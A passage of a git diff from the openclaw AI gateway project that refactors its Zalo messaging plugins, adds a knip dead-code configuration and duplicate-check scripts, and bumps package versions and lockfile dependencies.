chatId.trim(), + chat_id: context.chatId, text: text.slice(0, 2000), }, - fetcher, + context.fetcher, ); if (response.ok && response.result) { @@ -88,14 +98,9 @@ export async function sendPhotoZalo( photoUrl: string, options: ZaloSendOptions = {}, ): Promise { - const { token, fetcher } = resolveSendContext(options); - - if (!token) { - return { ok: false, error: "No Zalo bot token configured" }; - } - - if (!chatId?.trim()) { - return { ok: false, error: "No chat_id provided" }; + const context = resolveValidatedSendContext(chatId, options); + if (!context.ok) { + return { ok: false, error: context.error }; } if (!photoUrl?.trim()) { @@ -104,13 +109,13 @@ export async function sendPhotoZalo( try { const response = await sendPhoto( - token, + context.token, { - chat_id: chatId.trim(), + chat_id: context.chatId, photo: photoUrl.trim(), caption: options.caption?.slice(0, 2000), }, - fetcher, + context.fetcher, ); if (response.ok && response.result) { diff --git a/extensions/zalo/src/token.ts b/extensions/zalo/src/token.ts index 2d9496fa5c2..00ed1d720f7 100644 --- a/extensions/zalo/src/token.ts +++ b/extensions/zalo/src/token.ts @@ -8,6 +8,19 @@ export type ZaloTokenResolution = BaseTokenResolution & { source: "env" | "config" | "configFile" | "none"; }; +function readTokenFromFile(tokenFile: string | undefined): string { + const trimmedPath = tokenFile?.trim(); + if (!trimmedPath) { + return ""; + } + try { + return readFileSync(trimmedPath, "utf8").trim(); + } catch { + // ignore read failures + return ""; + } +} + export function resolveZaloToken( config: ZaloConfig | undefined, accountId?: string | null, @@ -44,28 +57,16 @@ export function resolveZaloToken( if (token) { return { token, source: "config" }; } - const tokenFile = accountConfig.tokenFile?.trim(); - if (tokenFile) { - try { - const fileToken = readFileSync(tokenFile, "utf8").trim(); - if (fileToken) { - return { token: fileToken, source: "configFile" }; - } - } catch { - // ignore read failures - } + const fileToken = readTokenFromFile(accountConfig.tokenFile); + if (fileToken) { + return { token: fileToken, source: "configFile" }; } } - const accountTokenFile = accountConfig?.tokenFile?.trim(); - if (!accountHasBotToken && accountTokenFile) { - try { - const fileToken = readFileSync(accountTokenFile, "utf8").trim(); - if (fileToken) { - return { token: fileToken, source: "configFile" }; - } - } catch { - // ignore read failures + if (!accountHasBotToken) { + const fileToken = readTokenFromFile(accountConfig?.tokenFile); + if (fileToken) { + return { token: fileToken, source: "configFile" }; } } @@ -79,16 +80,9 @@ export function resolveZaloToken( if (token) { return { token, source: "config" }; } - const tokenFile = baseConfig?.tokenFile?.trim(); - if (tokenFile) { - try { - const fileToken = readFileSync(tokenFile, "utf8").trim(); - if (fileToken) { - return { token: fileToken, source: "configFile" }; - } - } catch { - // ignore read failures - } + const fileToken = readTokenFromFile(baseConfig?.tokenFile); + if (fileToken) { + return { token: fileToken, source: "configFile" }; } } diff --git a/extensions/zalouser/CHANGELOG.md b/extensions/zalouser/CHANGELOG.md index 002a5747cc3..4680f5131af 100644 --- a/extensions/zalouser/CHANGELOG.md +++ b/extensions/zalouser/CHANGELOG.md @@ -1,5 +1,17 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/zalouser/package.json b/extensions/zalouser/package.json index 9fc2fbf5243..581cf4ce8ca 100644 --- a/extensions/zalouser/package.json +++ b/extensions/zalouser/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/zalouser", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw Zalo Personal Account plugin via native zca-js integration", "type": "module", "dependencies": { diff --git a/extensions/zalouser/src/channel.ts b/extensions/zalouser/src/channel.ts index 2c2228b05b9..41327f1fe7e 100644 --- a/extensions/zalouser/src/channel.ts +++ b/extensions/zalouser/src/channel.ts @@ -1,5 +1,3 @@ -import fsp from "node:fs/promises"; -import path from "node:path"; import type { ChannelAccountSnapshot, ChannelDirectoryEntry, @@ -12,16 +10,19 @@ import type { } from "openclaw/plugin-sdk/zalouser"; import { applyAccountNameToChannelSection, + buildChannelSendResult, + buildBaseAccountStatusSnapshot, buildChannelConfigSchema, DEFAULT_ACCOUNT_ID, chunkTextForOutbound, deleteAccountFromConfigSection, formatAllowFromLowercase, formatPairingApproveHint, + isNumericTargetId, migrateBaseNameToDefaultAccount, normalizeAccountId, - resolvePreferredOpenClawTmpDir, resolveChannelAccountConfigBasePath, + sendPayloadWithChunkedTextAndMedia, setAccountEnabledInConfigSection, } from "openclaw/plugin-sdk/zalouser"; import { @@ -37,6 +38,7 @@ import { buildZalouserGroupCandidates, findZalouserGroupEntry } from "./group-po import { resolveZalouserReactionMessageIds } from "./message-sid.js"; import { zalouserOnboardingAdapter } from "./onboarding.js"; import { probeZalouser } from "./probe.js"; +import { writeQrDataUrlToTempFile } from "./qr-temp-file.js"; import { sendMessageZalouser, sendReactionZalouser } from "./send.js"; import { collectZalouserStatusIssues } from "./status-issues.js"; import { @@ -69,25 +71,6 @@ function resolveZalouserQrProfile(accountId?: string | null): string { return normalized; } -async function writeQrDataUrlToTempFile( - qrDataUrl: string, - profile: string, -): Promise { - const trimmed = qrDataUrl.trim(); - const match = trimmed.match(/^data:image\/png;base64,(.+)$/i); - const base64 = (match?.[1] ?? "").trim(); - if (!base64) { - return null; - } - const safeProfile = profile.replace(/[^a-zA-Z0-9_-]+/g, "-") || "default"; - const filePath = path.join( - resolvePreferredOpenClawTmpDir(), - `openclaw-zalouser-qr-${safeProfile}.png`, - ); - await fsp.writeFile(filePath, Buffer.from(base64, "base64")); - return filePath; -} - function mapUser(params: { id: string; name?: string | null; @@ -116,39 +99,30 @@ function mapGroup(params: { }; } +function resolveZalouserGroupPolicyEntry(params: ChannelGroupContext) { + const account = resolveZalouserAccountSync({ + cfg: params.cfg, + accountId: params.accountId ?? undefined, + }); + const groups = account.config.groups ?? {}; + return findZalouserGroupEntry( + groups, + buildZalouserGroupCandidates({ + groupId: params.groupId, + groupChannel: params.groupChannel, + includeWildcard: true, + }), + ); +} + function resolveZalouserGroupToolPolicy( params: ChannelGroupContext, ): GroupToolPolicyConfig | undefined { - const account = resolveZalouserAccountSync({ - cfg: params.cfg, - accountId: params.accountId ?? undefined, - }); - const groups = account.config.groups ?? {}; - const entry = findZalouserGroupEntry( - groups, - buildZalouserGroupCandidates({ - groupId: params.groupId, - groupChannel: params.groupChannel, - includeWildcard: true, - }), - ); - return entry?.tools; + return resolveZalouserGroupPolicyEntry(params)?.tools; } function resolveZalouserRequireMention(params: ChannelGroupContext): boolean { - const account = resolveZalouserAccountSync({ - cfg: params.cfg, - accountId: params.accountId ?? undefined, - }); - const groups = account.config.groups ?? {}; - const entry = findZalouserGroupEntry( - groups, - buildZalouserGroupCandidates({ - groupId: params.groupId, - groupChannel: params.groupChannel, - includeWildcard: true, - }), - ); + const entry = resolveZalouserGroupPolicyEntry(params); if (typeof entry?.requireMention === "boolean") { return entry.requireMention; } @@ -395,13 +369,7 @@ export const zalouserPlugin: ChannelPlugin = { return trimmed.replace(/^(zalouser|zlu):/i, ""); }, targetResolver: { - looksLikeId: (raw) => { - const trimmed = raw.trim(); - if (!trimmed) { - return false; - } - return /^\d{3,}$/.test(trimmed); - }, + looksLikeId: isNumericTargetId, hint: "", }, }, @@ -560,49 +528,19 @@ export const zalouserPlugin: ChannelPlugin = { chunker: chunkTextForOutbound, chunkerMode: "text", textChunkLimit: 2000, - sendPayload: async (ctx) => { - const text = ctx.payload.text ?? ""; - const urls = ctx.payload.mediaUrls?.length - ? ctx.payload.mediaUrls - : ctx.payload.mediaUrl - ? [ctx.payload.mediaUrl] - : []; - if (!text && urls.length === 0) { - return { channel: "zalouser", messageId: "" }; - } - if (urls.length > 0) { - let lastResult = await zalouserPlugin.outbound!.sendMedia!({ - ...ctx, - text, - mediaUrl: urls[0], - }); - for (let i = 1; i < urls.length; i++) { - lastResult = await zalouserPlugin.outbound!.sendMedia!({ - ...ctx, - text: "", - mediaUrl: urls[i], - }); - } - return lastResult; - } - const outbound = zalouserPlugin.outbound!; - const limit = outbound.textChunkLimit; - const chunks = limit && outbound.chunker ? outbound.chunker(text, limit) : [text]; - let lastResult: Awaited>>; - for (const chunk of chunks) { - lastResult = await outbound.sendText!({ ...ctx, text: chunk }); - } - return lastResult!; - }, + sendPayload: async (ctx) => + await sendPayloadWithChunkedTextAndMedia({ + ctx, + textChunkLimit: zalouserPlugin.outbound!.textChunkLimit, + chunker: zalouserPlugin.outbound!.chunker, + sendText: (nextCtx) => zalouserPlugin.outbound!.sendText!(nextCtx), + sendMedia: (nextCtx) => zalouserPlugin.outbound!.sendMedia!(nextCtx), + emptyResult: { channel: "zalouser", messageId: "" }, + }), sendText: async ({ to, text, accountId, cfg }) => { const account = resolveZalouserAccountSync({ cfg: cfg, accountId }); const result = await sendMessageZalouser(to, text, { profile: account.profile }); - return { - channel: "zalouser", - ok: result.ok, - messageId: result.messageId ?? "", - error: result.error ? new Error(result.error) : undefined, - }; + return buildChannelSendResult("zalouser", result); }, sendMedia: async ({ to, text, mediaUrl, accountId, cfg, mediaLocalRoots }) => { const account = resolveZalouserAccountSync({ cfg: cfg, accountId }); @@ -611,12 +549,7 @@ export const zalouserPlugin: ChannelPlugin = { mediaUrl, mediaLocalRoots, }); - return { - channel: "zalouser", - ok: result.ok, - messageId: result.messageId ?? "", - error: result.error ? new Error(result.error) : undefined, - }; + return buildChannelSendResult("zalouser", result); }, }, status: { @@ -641,17 +574,19 @@ export const zalouserPlugin: ChannelPlugin = { buildAccountSnapshot: async ({ account, runtime }) => { const configured = await checkZcaAuthenticated(account.profile); const configError = "not authenticated"; + const base = buildBaseAccountStatusSnapshot({ + account: { + accountId: account.accountId, + name: account.name, + enabled: account.enabled, + configured, + }, + runtime: configured + ? runtime + : { ...runtime, lastError: runtime?.lastError ?? configError }, + }); return { - accountId: account.accountId, - name: account.name, - enabled: account.enabled, - configured, - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: configured ? (runtime?.lastError ?? null) : (runtime?.lastError ?? configError), - lastInboundAt: runtime?.lastInboundAt ?? null, - lastOutboundAt: runtime?.lastOutboundAt ?? null, + ...base, dmPolicy: account.config.dmPolicy ?? "pairing", }; }, diff --git a/extensions/zalouser/src/monitor.account-scope.test.ts b/extensions/zalouser/src/monitor.account-scope.test.ts index 931a6cde6eb..919bd25887c 100644 --- a/extensions/zalouser/src/monitor.account-scope.test.ts +++ b/extensions/zalouser/src/monitor.account-scope.test.ts @@ -1,21 +1,11 @@ import type { OpenClawConfig, PluginRuntime, RuntimeEnv } from "openclaw/plugin-sdk/zalouser"; import { describe, expect, it, vi } from "vitest"; +import "./monitor.send-mocks.js"; import { __testing } from "./monitor.js"; +import { sendMessageZalouserMock } from "./monitor.send-mocks.js"; import { setZalouserRuntime } from "./runtime.js"; import type { ResolvedZalouserAccount, ZaloInboundMessage } from "./types.js"; -const sendMessageZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendTypingZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendDeliveredZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendSeenZalouserMock = vi.hoisted(() => vi.fn(async () => {})); - -vi.mock("./send.js", () => ({ - sendMessageZalouser: sendMessageZalouserMock, - sendTypingZalouser: sendTypingZalouserMock, - sendDeliveredZalouser: sendDeliveredZalouserMock, - sendSeenZalouser: sendSeenZalouserMock, -})); - describe("zalouser monitor pairing account scoping", () => { it("scopes DM pairing-store reads and pairing requests to accountId", async () => { const readAllowFromStore = vi.fn( diff --git a/extensions/zalouser/src/monitor.group-gating.test.ts b/extensions/zalouser/src/monitor.group-gating.test.ts index dda0ed0a3de..7e11680b315 100644 --- a/extensions/zalouser/src/monitor.group-gating.test.ts +++ b/extensions/zalouser/src/monitor.group-gating.test.ts @@ -1,21 +1,16 @@ import type { OpenClawConfig, PluginRuntime, RuntimeEnv } from "openclaw/plugin-sdk/zalouser"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import "./monitor.send-mocks.js"; import { __testing } from "./monitor.js"; +import { + sendDeliveredZalouserMock, + sendMessageZalouserMock, + sendSeenZalouserMock, + sendTypingZalouserMock, +} from "./monitor.send-mocks.js"; import { setZalouserRuntime } from "./runtime.js"; import type { ResolvedZalouserAccount, ZaloInboundMessage } from "./types.js"; -const sendMessageZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendTypingZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendDeliveredZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendSeenZalouserMock = vi.hoisted(() => vi.fn(async () => {})); - -vi.mock("./send.js", () => ({ - sendMessageZalouser: sendMessageZalouserMock, - sendTypingZalouser: sendTypingZalouserMock, - sendDeliveredZalouser: sendDeliveredZalouserMock, - sendSeenZalouser: sendSeenZalouserMock, -})); - function createAccount(): ResolvedZalouserAccount { return { accountId: "default", diff --git a/extensions/zalouser/src/monitor.send-mocks.ts b/extensions/zalouser/src/monitor.send-mocks.ts new file mode 100644 index 00000000000..9e576f5e830 --- /dev/null +++ b/extensions/zalouser/src/monitor.send-mocks.ts @@ -0,0 +1,20 @@ +import { vi } from "vitest"; + +const sendMocks = vi.hoisted(() => ({ + sendMessageZalouserMock: vi.fn(async () => {}), + sendTypingZalouserMock: vi.fn(async () => {}), + sendDeliveredZalouserMock: vi.fn(async () => {}), + sendSeenZalouserMock: vi.fn(async () => {}), +})); + +export const sendMessageZalouserMock = sendMocks.sendMessageZalouserMock; +export const sendTypingZalouserMock = sendMocks.sendTypingZalouserMock; +export const sendDeliveredZalouserMock = sendMocks.sendDeliveredZalouserMock; +export const sendSeenZalouserMock = sendMocks.sendSeenZalouserMock; + +vi.mock("./send.js", () => ({ + sendMessageZalouser: sendMessageZalouserMock, + sendTypingZalouser: sendTypingZalouserMock, + sendDeliveredZalouser: sendDeliveredZalouserMock, + sendSeenZalouser: sendSeenZalouserMock, +})); diff --git a/extensions/zalouser/src/onboarding.ts b/extensions/zalouser/src/onboarding.ts index 728edff704a..195f3dfe1a6 100644 --- a/extensions/zalouser/src/onboarding.ts +++ b/extensions/zalouser/src/onboarding.ts @@ -1,5 +1,3 @@ -import fsp from "node:fs/promises"; -import path from "node:path"; import type { ChannelOnboardingAdapter, ChannelOnboardingDmPolicy, @@ -14,7 +12,6 @@ import { normalizeAccountId, promptAccountId, promptChannelAccessConfig, - resolvePreferredOpenClawTmpDir, } from "openclaw/plugin-sdk/zalouser"; import { listZalouserAccountIds, @@ -22,6 +19,7 @@ import { resolveZalouserAccountSync, checkZcaAuthenticated, } from "./accounts.js"; +import { writeQrDataUrlToTempFile } from "./qr-temp-file.js"; import { logoutZaloProfile, resolveZaloAllowFromEntries, @@ -103,25 +101,6 @@ async function noteZalouserHelp(prompter: WizardPrompter): Promise { ); } -async function writeQrDataUrlToTempFile( - qrDataUrl: string, - profile: string, -): Promise { - const trimmed = qrDataUrl.trim(); - const match = trimmed.match(/^data:image\/png;base64,(.+)$/i); - const base64 = (match?.[1] ?? "").trim(); - if (!base64) { - return null; - } - const safeProfile = profile.replace(/[^a-zA-Z0-9_-]+/g, "-") || "default"; - const filePath = path.join( - resolvePreferredOpenClawTmpDir(), - `openclaw-zalouser-qr-${safeProfile}.png`, - ); - await fsp.writeFile(filePath, Buffer.from(base64, "base64")); - return filePath; -} - async function promptZalouserAllowFrom(params: { cfg: OpenClawConfig; prompter: WizardPrompter; diff --git a/extensions/zalouser/src/qr-temp-file.ts b/extensions/zalouser/src/qr-temp-file.ts new file mode 100644 index 00000000000..07babfcc731 --- /dev/null +++ b/extensions/zalouser/src/qr-temp-file.ts @@ -0,0 +1,22 @@ +import fsp from "node:fs/promises"; +import path from "node:path"; +import { resolvePreferredOpenClawTmpDir } from "openclaw/plugin-sdk/zalouser"; + +export async function writeQrDataUrlToTempFile( + qrDataUrl: string, + profile: string, +): Promise { + const trimmed = qrDataUrl.trim(); + const match = trimmed.match(/^data:image\/png;base64,(.+)$/i); + const base64 = (match?.[1] ?? "").trim(); + if (!base64) { + return null; + } + const safeProfile = profile.replace(/[^a-zA-Z0-9_-]+/g, "-") || "default"; + const filePath = path.join( + resolvePreferredOpenClawTmpDir(), + `openclaw-zalouser-qr-${safeProfile}.png`, + ); + await fsp.writeFile(filePath, Buffer.from(base64, "base64")); + return filePath; +} diff --git a/extensions/zalouser/src/zca-client.ts b/extensions/zalouser/src/zca-client.ts index 94e291b710f..605b07522d6 100644 --- a/extensions/zalouser/src/zca-client.ts +++ b/extensions/zalouser/src/zca-client.ts @@ -126,6 +126,20 @@ export type Listener = { stop(): void; }; +type DeliveryEventMessage = { + msgId: string; + cliMsgId: string; + uidFrom: string; + idTo: string; + msgType: string; + st: number; + at: number; + cmd: number; + ts: string | number; +}; + +type DeliveryEventMessages = DeliveryEventMessage | DeliveryEventMessage[]; + export type API = { listener: Listener; getContext(): { @@ -185,57 +199,10 @@ export type API = { ): Promise; sendDeliveredEvent( isSeen: boolean, - messages: - | { - msgId: string; - cliMsgId: string; - uidFrom: string; - idTo: string; - msgType: string; - st: number; - at: number; - cmd: number; - ts: string | number; - } - | Array<{ - msgId: string; - cliMsgId: string; - uidFrom: string; - idTo: string; - msgType: string; - st: number; - at: number; - cmd: number; - ts: string | number; - }>, - type?: number, - ): Promise; - sendSeenEvent( - messages: - | { - msgId: string; - cliMsgId: string; - uidFrom: string; - idTo: string; - msgType: string; - st: number; - at: number; - cmd: number; - ts: string | number; - } - | Array<{ - msgId: string; - cliMsgId: string; - uidFrom: string; - idTo: string; - msgType: string; - st: number; - at: number; - cmd: number; - ts: string | number; - }>, + messages: DeliveryEventMessages, type?: number, ): Promise; + sendSeenEvent(messages: DeliveryEventMessages, type?: number): Promise; }; type ZaloCtor = new (options?: { logging?: boolean; selfListen?: boolean }) => { diff --git a/knip.config.ts b/knip.config.ts new file mode 100644 index 00000000000..e4daabd7e95 --- /dev/null +++ b/knip.config.ts @@ -0,0 +1,105 @@ +const rootEntries = [ + "openclaw.mjs!", + "src/index.ts!", + "src/entry.ts!", + "src/cli/daemon-cli.ts!", + "src/extensionAPI.ts!", + "src/infra/warning-filter.ts!", + "src/channels/plugins/agent-tools/whatsapp-login.ts!", + "src/channels/plugins/actions/discord.ts!", + "src/channels/plugins/actions/signal.ts!", + "src/channels/plugins/actions/telegram.ts!", + "src/telegram/audit.ts!", + "src/telegram/token.ts!", + "src/line/accounts.ts!", + "src/line/send.ts!", + "src/line/template-messages.ts!", + "src/hooks/bundled/*/handler.ts!", + "src/hooks/llm-slug-generator.ts!", + "src/plugin-sdk/*.ts!", +] as const; + +const config = { + ignoreFiles: [ + "scripts/**", + "**/__tests__/**", + "src/test-utils/**", + "**/test-helpers/**", + "**/test-fixtures/**", + "**/live-*.ts", + "**/test-*.ts", + "**/*test-helpers.ts", + "**/*test-fixtures.ts", + "**/*test-harness.ts", + "**/*test-utils.ts", + "**/*mocks.ts", + "**/*.e2e-mocks.ts", + "**/*.e2e-*.ts", + "**/*.harness.ts", + "**/*.job-fixtures.ts", + "**/*.mock-harness.ts", + "**/*.suite-helpers.ts", + "**/*.test-setup.ts", + "**/job-fixtures.ts", + "**/*test-mocks.ts", + "**/*test-runtime*.ts", + "**/*.mock-setup.ts", + "**/*.cases.ts", + "**/*.e2e-harness.ts", + "**/*.fixture.ts", + "**/*.fixtures.ts", + "**/*.mocks.ts", + "**/*.mocks.shared.ts", + "**/*.shared-test.ts", + "**/*.suite.ts", + "**/*.test-runtime.ts", + "**/*.testkit.ts", + "**/*.test-fixtures.ts", + "**/*.test-harness.ts", + "**/*.test-helper.ts", + "**/*.test-helpers.ts", + "**/*.test-mocks.ts", + "**/*.test-utils.ts", + "src/gateway/live-image-probe.ts", + "src/secrets/credential-matrix.ts", + "src/agents/claude-cli-runner.ts", + "src/agents/pi-auth-json.ts", + "src/agents/tool-policy.conformance.ts", + "src/auto-reply/reply/audio-tags.ts", + "src/gateway/live-tool-probe-utils.ts", + "src/gateway/server.auth.shared.ts", + "src/shared/text/assistant-visible-text.ts", + "src/telegram/bot/reply-threading.ts", + "src/telegram/draft-chunking.ts", + "extensions/msteams/src/conversation-store-memory.ts", + "extensions/msteams/src/polls-store-memory.ts", + "extensions/voice-call/src/providers/index.ts", + "extensions/voice-call/src/providers/tts-openai.ts", + ], + workspaces: { + ".": { + entry: rootEntries, + project: [ + "src/**/*.ts!", + "scripts/**/*.{js,mjs,cjs,ts,mts,cts}!", + "*.config.{js,mjs,cjs,ts,mts,cts}!", + "*.mjs!", + ], + }, + ui: { + entry: ["index.html!", "src/main.ts!", "vite.config.ts!", "vitest*.ts!"], + project: ["src/**/*.{ts,tsx}!"], + }, + "packages/*": { + entry: ["index.js!", "scripts/postinstall.js!"], + project: ["index.js!", "scripts/**/*.js!"], + }, + "extensions/*": { + entry: ["index.ts!"], + project: ["index.ts!", "src/**/*.ts!"], + ignoreDependencies: ["openclaw"], + }, + }, +} as const; + +export default config; diff --git a/openclaw.mjs b/openclaw.mjs index 60aada1bd64..248db52ea44 100755 --- a/openclaw.mjs +++ b/openclaw.mjs @@ -26,9 +26,9 @@ const ensureSupportedNodeVersion = () => { process.stderr.write( `openclaw: Node.js v${MIN_NODE_VERSION}+ is required (current: v${process.versions.node}).\n` + "If you use nvm, run:\n" + - " nvm install 22\n" + - " nvm use 22\n" + - " nvm alias default 22\n", + ` nvm install ${MIN_NODE_MAJOR}\n` + + ` nvm use ${MIN_NODE_MAJOR}\n` + + ` nvm alias default ${MIN_NODE_MAJOR}\n`, ); process.exit(1); }; diff --git a/package.json b/package.json index a7b5e189dbc..1caca8dc2a8 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "openclaw", - "version": "2026.3.3", + "version": "2026.3.7", "description": "Multi-channel AI gateway with extensible messaging integrations", "keywords": [], "homepage": "https://github.com/openclaw/openclaw#readme", @@ -220,7 +220,7 @@ "android:install": "cd apps/android && ./gradlew :app:installDebug", "android:lint": "cd apps/android && ./gradlew :app:ktlintCheck :benchmark:ktlintCheck", "android:lint:android": "cd apps/android && ./gradlew :app:lintDebug", - "android:run": "cd apps/android && ./gradlew :app:installDebug && adb shell am start -n ai.openclaw.android/.MainActivity", + "android:run": "cd apps/android && ./gradlew :app:installDebug && adb shell am start -n ai.openclaw.app/.MainActivity", "android:test": "cd apps/android && ./gradlew :app:testDebugUnitTest", "android:test:integration": "OPENCLAW_LIVE_TEST=1 OPENCLAW_LIVE_ANDROID_NODE=1 vitest run --config vitest.live.config.ts src/gateway/android-node.capabilities.live.test.ts", "build": "pnpm canvas:a2ui:bundle && tsdown && node scripts/copy-plugin-sdk-root-alias.mjs && pnpm build:plugin-sdk:dts && node --import tsx scripts/write-plugin-sdk-entry-dts.ts && node --import tsx scripts/canvas-a2ui-copy.ts && node --import tsx scripts/copy-hook-metadata.ts && node --import tsx scripts/copy-export-html-templates.ts && node --import tsx scripts/write-build-info.ts && node --import tsx scripts/write-cli-startup-metadata.ts && node --import tsx scripts/write-cli-compat.ts", @@ -231,8 +231,8 @@ "check:docs": "pnpm format:docs:check && pnpm lint:docs && pnpm docs:check-links", "check:host-env-policy:swift": "node scripts/generate-host-env-security-policy-swift.mjs --check", "check:loc": "node --import tsx scripts/check-ts-max-loc.ts --max 500", - "deadcode:ci": "pnpm deadcode:report:ci:knip && pnpm deadcode:report:ci:ts-prune && pnpm deadcode:report:ci:ts-unused", - "deadcode:knip": "pnpm dlx knip --no-progress", + "deadcode:ci": "pnpm deadcode:report:ci:knip", + "deadcode:knip": "pnpm dlx knip --config knip.config.ts --isolate-workspaces --production --no-progress --reporter compact --files --dependencies", "deadcode:report": "pnpm deadcode:knip; pnpm deadcode:ts-prune; pnpm deadcode:ts-unused", "deadcode:report:ci:knip": "mkdir -p .artifacts/deadcode && pnpm deadcode:knip > .artifacts/deadcode/knip.txt 2>&1 || true", "deadcode:report:ci:ts-prune": "mkdir -p .artifacts/deadcode && pnpm deadcode:ts-prune > .artifacts/deadcode/ts-prune.txt 2>&1 || true", @@ -246,6 +246,8 @@ "docs:list": "node scripts/docs-list.js", "docs:spellcheck": "bash scripts/docs-spellcheck.sh", "docs:spellcheck:fix": "bash scripts/docs-spellcheck.sh --write", + "dup:check": "jscpd src extensions test scripts --format typescript,javascript --pattern \"**/*.{ts,tsx,js,mjs,cjs}\" --gitignore --noSymlinks --ignore \"**/node_modules/**,**/dist/**,**/.git/**,**/coverage/**,**/build/**,**/.build/**,**/.artifacts/**\" --min-lines 12 --min-tokens 80 --reporters console", + "dup:check:json": "jscpd src extensions test scripts --format typescript,javascript --pattern \"**/*.{ts,tsx,js,mjs,cjs}\" --gitignore --noSymlinks --ignore \"**/node_modules/**,**/dist/**,**/.git/**,**/coverage/**,**/build/**,**/.build/**,**/.artifacts/**\" --min-lines 12 --min-tokens 80 --reporters json --output .artifacts/jscpd", "format": "oxfmt --write", "format:all": "pnpm format && pnpm format:swift", "format:check": "oxfmt --check", @@ -330,10 +332,10 @@ "ui:install": "node scripts/ui.js install" }, "dependencies": { - "@agentclientprotocol/sdk": "0.14.1", - "@aws-sdk/client-bedrock": "^3.1000.0", + "@agentclientprotocol/sdk": "0.15.0", + "@aws-sdk/client-bedrock": "^3.1004.0", "@buape/carbon": "0.0.0-beta-20260216184201", - "@clack/prompts": "^1.0.1", + "@clack/prompts": "^1.1.0", "@discordjs/voice": "^0.19.0", "@grammyjs/runner": "^2.0.3", "@grammyjs/transformer-throttler": "^1.2.1", @@ -348,7 +350,6 @@ "@sinclair/typebox": "0.34.48", "@slack/bolt": "^4.6.0", "@slack/web-api": "^7.14.1", - "@snazzah/davey": "^0.1.9", "@whiskeysockets/baileys": "7.0.0-rc.9", "ajv": "^8.18.0", "chalk": "^5.6.2", @@ -356,21 +357,18 @@ "cli-highlight": "^2.1.11", "commander": "^14.0.3", "croner": "^10.0.1", - "discord-api-types": "^0.38.40", + "discord-api-types": "^0.38.41", "dotenv": "^17.3.1", "express": "^5.2.1", "file-type": "^21.3.0", - "gaxios": "7.1.3", - "grammy": "^1.41.0", + "grammy": "^1.41.1", "https-proxy-agent": "^7.0.6", "ipaddr.js": "^2.3.0", "jiti": "^2.6.1", "json5": "^2.2.3", "jszip": "^3.10.1", "linkedom": "^0.18.12", - "long": "^5.3.2", "markdown-it": "^14.1.1", - "node-domexception": "npm:@nolyfill/domexception@^1.0.28", "node-edge-tts": "^1.2.10", "opusscript": "^0.1.1", "osc-progress": "^0.3.0", @@ -393,17 +391,18 @@ "@lit/context": "^1.1.6", "@types/express": "^5.0.6", "@types/markdown-it": "^14.1.2", - "@types/node": "^25.3.3", + "@types/node": "^25.3.5", "@types/qrcode-terminal": "^0.12.2", "@types/ws": "^8.18.1", - "@typescript/native-preview": "7.0.0-dev.20260301.1", + "@typescript/native-preview": "7.0.0-dev.20260307.1", "@vitest/coverage-v8": "^4.0.18", + "jscpd": "4.0.8", "lit": "^3.3.2", - "oxfmt": "0.35.0", - "oxlint": "^1.50.0", - "oxlint-tsgolint": "^0.15.0", + "oxfmt": "0.36.0", + "oxlint": "^1.51.0", + "oxlint-tsgolint": "^0.16.0", "signal-utils": "0.21.1", - "tsdown": "0.21.0-beta.2", + "tsdown": "0.21.0", "tsx": "^4.21.0", "typescript": "^5.9.3", "vitest": "^4.0.18" diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 79313de6f9f..3d3c952482a 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -23,26 +23,26 @@ importers: .: dependencies: '@agentclientprotocol/sdk': - specifier: 0.14.1 - version: 0.14.1(zod@4.3.6) + specifier: 0.15.0 + version: 0.15.0(zod@4.3.6) '@aws-sdk/client-bedrock': - specifier: ^3.1000.0 - version: 3.1000.0 + specifier: ^3.1004.0 + version: 3.1004.0 '@buape/carbon': specifier: 0.0.0-beta-20260216184201 version: 0.0.0-beta-20260216184201(@discordjs/opus@0.10.0)(hono@4.12.5)(opusscript@0.1.1) '@clack/prompts': - specifier: ^1.0.1 - version: 1.0.1 + specifier: ^1.1.0 + version: 1.1.0 '@discordjs/voice': specifier: ^0.19.0 version: 0.19.0(@discordjs/opus@0.10.0)(opusscript@0.1.1) '@grammyjs/runner': specifier: ^2.0.3 - version: 2.0.3(grammy@1.41.0) + version: 2.0.3(grammy@1.41.1) '@grammyjs/transformer-throttler': specifier: ^1.2.1 - version: 1.2.1(grammy@1.41.0) + version: 1.2.1(grammy@1.41.1) '@homebridge/ciao': specifier: ^1.3.5 version: 1.3.5 @@ -79,9 +79,6 @@ importers: '@slack/web-api': specifier: ^7.14.1 version: 7.14.1 - '@snazzah/davey': - specifier: ^0.1.9 - version: 0.1.9 '@whiskeysockets/baileys': specifier: 7.0.0-rc.9 version: 7.0.0-rc.9(audio-decode@2.2.3)(sharp@0.34.5) @@ -104,8 +101,8 @@ importers: specifier: ^10.0.1 version: 10.0.1 discord-api-types: - specifier: ^0.38.40 - version: 0.38.40 + specifier: ^0.38.41 + version: 0.38.41 dotenv: specifier: ^17.3.1 version: 17.3.1 @@ -115,12 +112,9 @@ importers: file-type: specifier: ^21.3.0 version: 21.3.0 - gaxios: - specifier: 7.1.3 - version: 7.1.3 grammy: - specifier: ^1.41.0 - version: 1.41.0 + specifier: ^1.41.1 + version: 1.41.1 https-proxy-agent: specifier: ^7.0.6 version: 7.0.6 @@ -139,15 +133,9 @@ importers: linkedom: specifier: ^0.18.12 version: 0.18.12 - long: - specifier: ^5.3.2 - version: 5.3.2 markdown-it: specifier: ^14.1.1 version: 14.1.1 - node-domexception: - specifier: npm:@nolyfill/domexception@^1.0.28 - version: '@nolyfill/domexception@1.0.28' node-edge-tts: specifier: ^1.2.10 version: 1.2.10 @@ -213,8 +201,8 @@ importers: specifier: 